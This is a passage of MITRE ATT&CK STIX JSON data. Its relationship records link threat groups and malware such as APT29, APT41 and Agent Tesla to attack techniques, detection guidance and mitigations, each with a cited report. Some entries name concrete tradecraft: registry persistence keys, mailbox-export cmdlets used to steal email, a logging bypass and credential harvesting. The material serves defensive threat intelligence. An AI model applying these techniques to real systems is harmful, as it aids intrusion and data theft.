controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19357ea1-2e21-4e35-a99e-3e3cf3321e89","created":"2023-02-21T20:46:57.248Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-21T20:46:57.248Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--155207c0-7f53-4f13-a06b-0a9907ef5096","target_ref":"attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1937b1c7-004f-4d22-bbf2-ab0de1ba8e1a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Turla Mosquito Jan 2018","description":"ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}],"modified":"2020-03-20T01:55:34.996Z","description":"[Mosquito](https://attack.mitre.org/software/S0256)'s installer uses WMI to search for antivirus display names.(Citation: ESET Turla Mosquito Jan 2018)","relationship_type":"uses","source_ref":"malware--92b55426-109f-4d93-899f-1833ce91ff90","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--193fda36-9c40-47dd-b6e5-4fed75d7e844","type":"relationship","created":"2020-02-11T19:05:02.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T19:05:02.497Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--194b2a3c-ce1f-4326-a26f-fd998c94b947","created":"2023-01-17T22:15:35.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Costa AvosLocker May 2022","description":"Costa, F. (2022, May 1). RaaS AvosLocker Incident Response Analysis. Retrieved January 11, 2023.","url":"https://www.linkedin.com/pulse/raas-avoslocker-incident-response-analysis-fl%C3%A1vio-costa?trk=articles_directory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T23:07:52.464Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used a PowerShell script to execute [Ping](https://attack.mitre.org/software/S0097) commands once every minute against a domain controller.(Citation: Costa AvosLocker May 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"tool--b77b563c-34bb-4fb8-86a3-3694338f7b47","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--194d773b-a9b6-43fc-8113-8e120be95c5c","type":"relationship","created":"2020-09-23T16:08:44.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:07:59.591Z","description":"[PolyglotDuke](https://attack.mitre.org/software/S0518) can custom encrypt strings.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19539764-3fe2-42c1-bf25-9e61c21469b4","created":"2022-10-11T16:44:12.379Z","revoked":false,"external_references":[{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T16:44:12.379Z","description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can use spoofed DNS requests to create a bidirectional tunnel between a compromised host and its C2 servers.(Citation: SentinelOne Aoqin Dragon June 2022)","relationship_type":"uses","source_ref":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","target_ref":"attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19552766-c41f-485a-9da2-52d42ba44d56","created":"2024-02-22T22:30:26.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T19:19:00.904Z","description":"[APT41](https://attack.mitre.org/groups/G0096) developed a custom injector that enables an Event Tracing for Windows (ETW) bypass, making malicious processes invisible to Windows logging.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1957974e-1995-4d35-a32b-e355ae219ff8","created":"2022-04-11T15:03:28.684Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Clambling](https://attack.mitre.org/software/S0660) has the ability to capture screenshots.(Citation: Trend Micro DRBControl February 2020)","modified":"2022-04-11T15:03:28.684Z","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19614400-1cbc-43ab-a0c1-fdba19d4edff","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor for modification of Registry keys and values used by services such as HKLM\\SYSTEM\\CurrentControlSet\\Services that may allow adversaries to launch their own code when a service starts.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19617b2d-8f3d-4016-9253-ae78128d921b","created":"2024-02-22T21:28:58.332Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T19:10:47.193Z","description":"[APT41](https://attack.mitre.org/groups/G0096) leverages various tools and frameworks to brute-force directories on web servers.(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1969fef1-3e75-4228-b034-b6436f207c01","type":"relationship","created":"2021-04-12T20:07:50.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."}],"modified":"2021-04-13T19:29:21.190Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has executed PowerShell scripts via WMI.(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19711ab8-f017-4bd3-a5d2-713d426e810c","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1974c8c2-d97b-4ea3-9ed4-61a8d0cd2fdd","type":"relationship","created":"2020-03-27T19:50:02.358Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ADSecurity Finding Passwords in SYSVOL","url":"https://adsecurity.org/?p=2288","description":"Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020."},{"source_name":"MS14-025","url":"https://support.microsoft.com/en-us/help/2962486/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevati","description":"Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved February 17, 2020."}],"modified":"2021-03-16T12:53:42.566Z","description":"Apply patch KB2962486 which prevents credentials from being stored in GPPs.(Citation: ADSecurity Finding Passwords in SYSVOL)(Citation: MS14-025)","relationship_type":"mitigates","source_ref":"course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19785182-3304-4954-9545-30560d159ae2","type":"relationship","created":"2021-04-20T12:38:48.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2021-04-20T12:38:48.145Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used malware to set LoadAppInit_DLLs in the Registry key SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows in order to establish persistence.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--197a0e84-5361-49cc-8e14-24c331665862","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"},{"description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","source_name":"Securelist ScarCruft May 2019"},{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."},{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}],"modified":"2021-10-15T16:55:11.400Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has downloaded second stage malware from compromised websites.(Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019)(Citation: Volexity InkySquid BLUELIGHT August 2021)(Citation: Volexity InkySquid RokRAT August 2021)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--197ade21-6787-4ed3-a3ce-ff4b59b2f15c","type":"relationship","created":"2020-06-24T20:29:46.153Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 BackConfig May 2020","url":"https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/","description":"Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."}],"modified":"2020-06-24T20:29:46.153Z","description":"[BackConfig](https://attack.mitre.org/software/S0475) can download and execute additional payloads on a compromised host.(Citation: Unit 42 BackConfig May 2020)","relationship_type":"uses","source_ref":"malware--c13d9621-aca7-436b-ab3d-3a95badb3d00","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1980e913-a4dc-415c-a98d-df1a20e001f2","created":"2023-03-26T15:55:08.129Z","revoked":false,"external_references":[{"source_name":"Volexity SolarWinds","description":"Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.","url":"https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T15:55:08.129Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) collected emails from specific individuals, such as executives and IT staff, using `New-MailboxExportRequest` followed by `Get-MailboxExportRequest`.(Citation: Volexity SolarWinds)(Citation: Cybersecurity Advisory SVR TTP May 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19821013-5844-46b3-82e9-189b4df07b9d","type":"relationship","created":"2020-12-14T21:59:38.658Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelLabs Agent Tesla Aug 2020","url":"https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/","description":"Walter, J. (2020, August 10). Agent Tesla | Old RAT Uses New Tricks to Stay on Top. Retrieved December 11, 2020."}],"modified":"2020-12-14T21:59:38.658Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to extract credentials from configuration or support files.(Citation: SentinelLabs Agent Tesla Aug 2020) ","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1984ba26-2309-49db-8c42-75951d0ef678","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}],"modified":"2018-10-17T00:14:20.652Z","description":"[WINDSHIELD](https://attack.mitre.org/software/S0155) C2 traffic can communicate via TCP raw sockets.(Citation: FireEye APT32 May 2017)","relationship_type":"uses","source_ref":"malware--98e8a977-3416-43aa-87fa-33e287e9c14c","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--198a9aa2-5d98-46c2-b43b-0191786049e7","created":"2023-12-04T21:10:06.602Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T21:10:06.602Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has compromised targeted organizations through exploitation of CVE-2021-31207 in Exchange.(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--198cddce-40f7-43eb-aeac-60171f111065","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 QUADAGENT July 2018","description":"Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-17T02:18:35.354Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) uses AES and a preshared key to decrypt the custom Base64 routine used to encode strings and scripts.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--198d7156-eff4-4a6e-8e59-ab8a656f77a8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Kaspersky Transparent Tribe August 2020","url":"https://securelist.com/transparent-tribe-part-1/98127/","description":"Dedola, G. (2020, August 20). Transparent Tribe: Evolution analysis, part 1. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:37:09.399Z","description":"[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect information about anti-virus software on the victim.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1991b422-2f89-4b90-9cea-7c34919eec05","type":"relationship","created":"2022-03-24T20:26:35.602Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-24T20:26:35.602Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can use `System.DirectoryServices` namespace to retrieve domain group information.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1993ee53-26a0-4cd1-8a93-5fd578c941fc","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://pan-unit42.github.io/playbook_viewer/","description":"Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.","source_name":"Unit 42 Playbook Dec 2017"}],"modified":"2020-01-17T22:22:30.702Z","description":"A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers network interface card information.(Citation: Unit 42 Playbook Dec 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--199c92d9-dd54-4cb1-beef-3b6a97d12e82","type":"relationship","created":"2022-03-22T14:44:05.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"modified":"2022-03-22T14:44:05.843Z","description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has used implants capable of collecting the signed-in username.(Citation: Microsoft NICKEL December 2021)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19a6f8fb-22c6-476c-9343-93956d9c1b77","created":"2023-02-10T18:29:34.561Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:13:08.820Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) has used `rundll32.exe` for execution.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--19ab4bf2-7498-4f53-afd7-fc1a99a96187","created":"2023-08-17T18:39:49.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant FIN7 Apr 2022","description":"Abdo, B., et al. (2022, April 4). FIN7 Power Hour: Adversary Archaeology and the Evolution of FIN7. Retrieved April 5, 